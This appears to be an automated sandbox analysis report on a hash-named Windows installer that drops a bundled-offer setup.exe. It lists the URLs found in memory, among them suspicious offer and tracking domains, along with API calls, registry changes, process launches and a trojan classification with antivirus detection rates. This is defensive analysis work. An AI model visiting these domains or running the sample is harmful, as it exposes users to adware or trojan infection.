Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2682&dn=424&spot=5&t=17
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2682&dn=244&spot=3&t=170
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2682&dn=415&spot=4&t=1
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2682&dn=416&spot=6&t=1
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2682&dn=419&spot=2&t=1
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2682&dn=420&spot=1&t=1
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2682&dn=424&spot=5&t=1
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2682&dn=244&spot=3&t=17
Source: setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2682&dn=415&spot=4
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2682&dn=419&spot=2
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2682&dn=420&spot=1
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2682&dn=424&spot=5
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2682&dn=244&spot=3&
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2682&dn=415&spot=4&t=17058
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2682&dn=416&spot=6&t=17058
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2682&dn=419&spot=2&t=17058
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2682&dn=420&spot=1&t=17058
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2682&dn=424&spot=5&t=17058
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2682&dn=244&spot=3&t=170585
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: setup.exe, setup.exe, 00000002.00000000.1794091590.0000000000409000.00000008.00000001.01000000.00000007.sdmp, setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, is-R68UJ.tmp.1.dr, is-1S2IB.tmp.1.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: setup.exe, 00000002.00000000.1794091590.0000000000409000.00000008.00000001.01000000.00000007.sdmp, setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, is-R68UJ.tmp.1.dr, is-1S2IB.tmp.1.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/4
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1684530882.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000002.2966345067.00000000023CC000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.000000000253A000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038BA000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.0000000002559000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038FD000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.1.dr	String found in binary or memory: http://restfork.website/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dub
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1684530882.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000002.2966345067.00000000023CC000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.000000000253A000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038BA000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038FD000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.1.dr	String found in binary or memory: http://restfork.website/boa.php
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2966275276.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1790399126.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://restfork.website/l
Source: nsrED96.tmp.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://sto.farmscene.website/track_polos.php?tim=1705852624&rcc=US&c=2682&p=0.9
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://sto.farmscene.website/track_polos.php?tim=1705852624&rcc=US&c=2682&p=0.9Inno
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://sto.farmscene.website/track_uki.php?tim=1705852624&rcc=US&c=2682&p=0.92
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://sto.farmscene.website/track_uki.php?tim=1705852624&rcc=US&c=2682&p=0.92http://beadhouse.xyz/a
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1684530882.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000002.2966345067.00000000023CC000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.000000000253A000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038BA000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2968472442.00000000038FD000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.1.dr	String found in binary or memory: http://windactivity.online/bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://www.pcmaintainer.com/privacy
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: http://www.thedownloadplanet.com/termsofuse
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://advancedmanager.io/eula
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://advancedmanager.io/privacy-policy
Source: setup.exe, 00000002.00000002.2966633152.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624InnoDownloadPlugin/1.5/USERAGENT/silentget1023
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624P
Source: setup.exe, 00000002.00000002.2966633152.0000000000545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beadhouse.xyz/ss.php?a=3954&cc=US&t=1705852624tv
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.0000000002516000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://destructionheat.site/tracker/thank_you.php?trk=2682
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://digitalpulsedata.com/tos
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://legal.opera.com/eula/computers/
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://legal.opera.com/privacy/
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000003.1689092041.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.7-zip.org/
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000002.2966345067.0000000002443000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.7-zip.org/03D
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000002.2967217835.00000000025F3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.7-zip.org/03_
Source: setup.exe, 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1685641763.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1686006536.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000000.1687366971.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-4F7CE.tmp.1.dr, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp.0.dr	String found in binary or memory: https://www.innosetup.com/
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://www.pcmaintainer.com/eula
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1685641763.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1686006536.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp, 00000001.00000000.1687366971.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-4F7CE.tmp.1.dr, 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp.0.dr	String found in binary or memory: https://www.remobjects.com/ps
Source: setup.exe, 00000002.00000002.2966633152.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, nsrED96.tmp.2.dr	String found in binary or memory: https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown

HTTPS traffic detected: 104.21.38.59:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Code function: 2_2_00405042 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

2_2_00405042

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Code function: 2_2_0040323C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

2_2_0040323C

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

File created: C:\Windows\unins000.dat

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Code function: 2_2_00404853		2_2_00404853
Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Code function: 2_2_00406131		2_2_00406131

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-4F7CE.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1685641763.0000000002798000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000003.1686006536.000000007FE35000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000000.1683887045.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, 00000000.00000002.2966345067.0000000002408000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Binary or memory string: OriginalFileName vs 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal42.troj.winEXE@5/24@3/3

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Code function: 2_2_00404356 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

2_2_00404356

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

Code function: 2_2_00402020 CoCreateInstance,MultiByteToWideChar,

2_2_00402020

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

File created: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp

Jump to behavior

Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	ReversingLabs: Detection: 36%
Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Virustotal: Detection: 47%

Source: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

File read: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe
Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Process created: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp "C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp" /SL5="$20438,832512,832512,C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe"
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe
Source: C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Process created: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp "C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp" /SL5="$20438,832512,832512,C:\Users\user\Desktop\81B7FB00321A57D0632B50993D514D34E586E86564C13.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Window found: window name: TMainForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp	Automated click: Next
